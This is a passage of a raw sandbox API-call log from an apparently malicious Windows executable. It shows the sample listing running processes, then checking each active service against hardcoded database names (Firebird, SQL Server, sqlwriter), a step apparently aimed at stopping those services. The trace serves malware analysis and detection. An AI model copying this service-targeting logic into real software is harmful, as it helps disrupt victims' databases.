(lpString="svchost.exe") returned 11 [0157.045] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0157.045] lstrlenW (lpString="audiodg.exe") returned 11 [0157.045] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0157.046] lstrlenW (lpString="sihost.exe") returned 10 [0157.046] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.046] lstrlenW (lpString="svchost.exe") returned 11 [0157.046] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0157.047] lstrlenW (lpString="taskhostw.exe") returned 13 [0157.047] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0157.047] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0157.047] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0157.047] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0157.048] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0157.048] lstrlenW (lpString="Memory Compression") returned 18 [0157.048] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0157.048] lstrlenW (lpString="explorer.exe") returned 12 [0157.048] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0157.049] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0157.049] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0157.049] lstrlenW (lpString="SearchUI.exe") returned 12 [0157.049] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0157.050] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0157.050] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0157.050] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0157.050] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0157.050] lstrlenW (lpString="mobsync.exe") returned 11 [0157.050] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0157.051] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0157.051] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0157.051] lstrlenW (lpString="cmd.exe") returned 7 [0157.051] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.052] lstrlenW (lpString="conhost.exe") returned 11 [0157.052] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0157.052] CloseHandle (hObject=0x330) returned 1 [0157.052] Sleep (dwMilliseconds=0x1f4) [0157.637] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45f4b8 [0157.638] EnumServicesStatusExW (in: hSCManager=0x45f4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0157.639] GetLastError () returned 0xea [0157.639] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x3fe3360 [0157.639] EnumServicesStatusExW (in: hSCManager=0x45f4b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fe3360, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fe3360, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0157.640] CloseServiceHandle (hSCObject=0x45f4b8) returned 1 [0157.641] lstrlenW (lpString="AppXSvc") returned 7 [0157.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0157.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0157.641] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0157.641] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0157.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0157.641] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0157.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0157.641] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0157.641] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0157.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0157.641] lstrlenW (lpString="Audiosrv") returned 8 [0157.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0157.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0157.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0157.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0157.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0157.641] lstrlenW (lpString="BFE") returned 3 [0157.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0157.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0157.641] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0157.641] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0157.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0157.641] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0157.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0157.641] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0157.641] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0157.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0157.641] lstrlenW (lpString="CDPSvc") returned 6 [0157.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0157.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0157.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0157.642] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0157.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0157.642] lstrlenW (lpString="ClickToRunSvc") returned 13 [0157.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0157.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0157.642] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0157.642] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0157.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0157.642] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0157.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0157.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0157.642] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0157.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0157.642] lstrlenW (lpString="CryptSvc") returned 8 [0157.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0157.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0157.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0157.642] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0157.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0157.642] lstrlenW (lpString="DcomLaunch") returned 10 [0157.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0157.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0157.642] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0157.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0157.643] lstrlenW (lpString="DeviceAssociationService") returned 24 [0157.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0157.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0157.643] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0157.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0157.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0157.643] lstrlenW (lpString="Dhcp") returned 4 [0157.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0157.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0157.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0157.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0157.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0157.643] lstrlenW (lpString="Dnscache") returned 8 [0157.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0157.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0157.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0157.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0157.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0157.643] lstrlenW (lpString="DPS") returned 3 [0157.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0157.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0157.643] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0157.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0157.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0157.643] lstrlenW (lpString="DusmSvc") returned 7 [0157.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0157.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0157.644] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0157.644] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0157.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0157.644] lstrlenW (lpString="EventLog") returned 8 [0157.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0157.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0157.644] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0157.644] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0157.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0157.644] lstrlenW (lpString="EventSystem") returned 11 [0157.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0157.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0157.644] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0157.644] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0157.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0157.644] lstrlenW (lpString="FontCache") returned 9 [0157.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0157.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0157.644] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0157.644] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0157.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0157.644] lstrlenW (lpString="gpsvc") returned 5 [0157.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0157.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0157.644] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0157.644] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0157.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0157.645] lstrlenW (lpString="iphlpsvc") returned 8 [0157.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0157.645] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0157.645] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0157.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0157.645] lstrlenW (lpString="KeyIso") returned 6 [0157.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0157.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0157.645] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0157.645] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0157.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0157.645] lstrlenW (lpString="LanmanServer") returned 12 [0157.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0157.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0157.645] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0157.645] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0157.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0157.645] lstrlenW (lpString="LanmanWorkstation") returned 17 [0157.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0157.645] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0157.645] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0157.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0157.645] lstrlenW (lpString="lfsvc") returned 5 [0157.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0157.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0157.645] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0157.645] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0157.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0157.646] lstrlenW (lpString="lmhosts") returned 7 [0157.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0157.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0157.646] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0157.646] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0157.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0157.646] lstrlenW (lpString="LSM") returned 3 [0157.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0157.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0157.646] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0157.646] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0157.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0157.646] lstrlenW (lpString="MpsSvc") returned 6 [0157.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0157.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0157.646] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0157.646] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0157.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0157.646] lstrlenW (lpString="NcbService") returned 10 [0157.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0157.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0157.646] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0157.646] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0157.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0157.646] lstrlenW (lpString="netprofm") returned 8 [0157.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0157.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0157.647] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0157.647] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0157.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0157.647] lstrlenW (lpString="NgcSvc") returned 6 [0157.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0157.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0157.647] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0157.647] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0157.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0157.647] lstrlenW (lpString="NlaSvc") returned 6 [0157.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0157.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0157.647] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0157.647] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0157.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0157.647] lstrlenW (lpString="nsi") returned 3 [0157.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0157.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0157.647] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0157.647] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0157.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0157.647] lstrlenW (lpString="PcaSvc") returned 6 [0157.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0157.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0157.647] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0157.647] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0157.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0157.647] lstrlenW (lpString="PlugPlay") returned 8 [0157.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0157.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0157.647] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0157.648] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0157.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0157.648] lstrlenW (lpString="Power") returned 5 [0157.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0157.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0157.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0157.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0157.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0157.648] lstrlenW (lpString="ProfSvc") returned 7 [0157.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0157.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0157.648] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0157.648] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0157.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0157.648] lstrlenW (lpString="RpcEptMapper") returned 12 [0157.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.648] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0157.648] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0157.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0157.648] lstrlenW (lpString="RpcSs") returned 5 [0157.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0157.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0157.648] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0157.648] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0157.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0157.648] lstrlenW (lpString="SamSs") returned 5 [0157.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0157.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0157.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0157.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0157.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0157.649] lstrlenW (lpString="Schedule") returned 8 [0157.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0157.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0157.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0157.649] lstrcmpiW 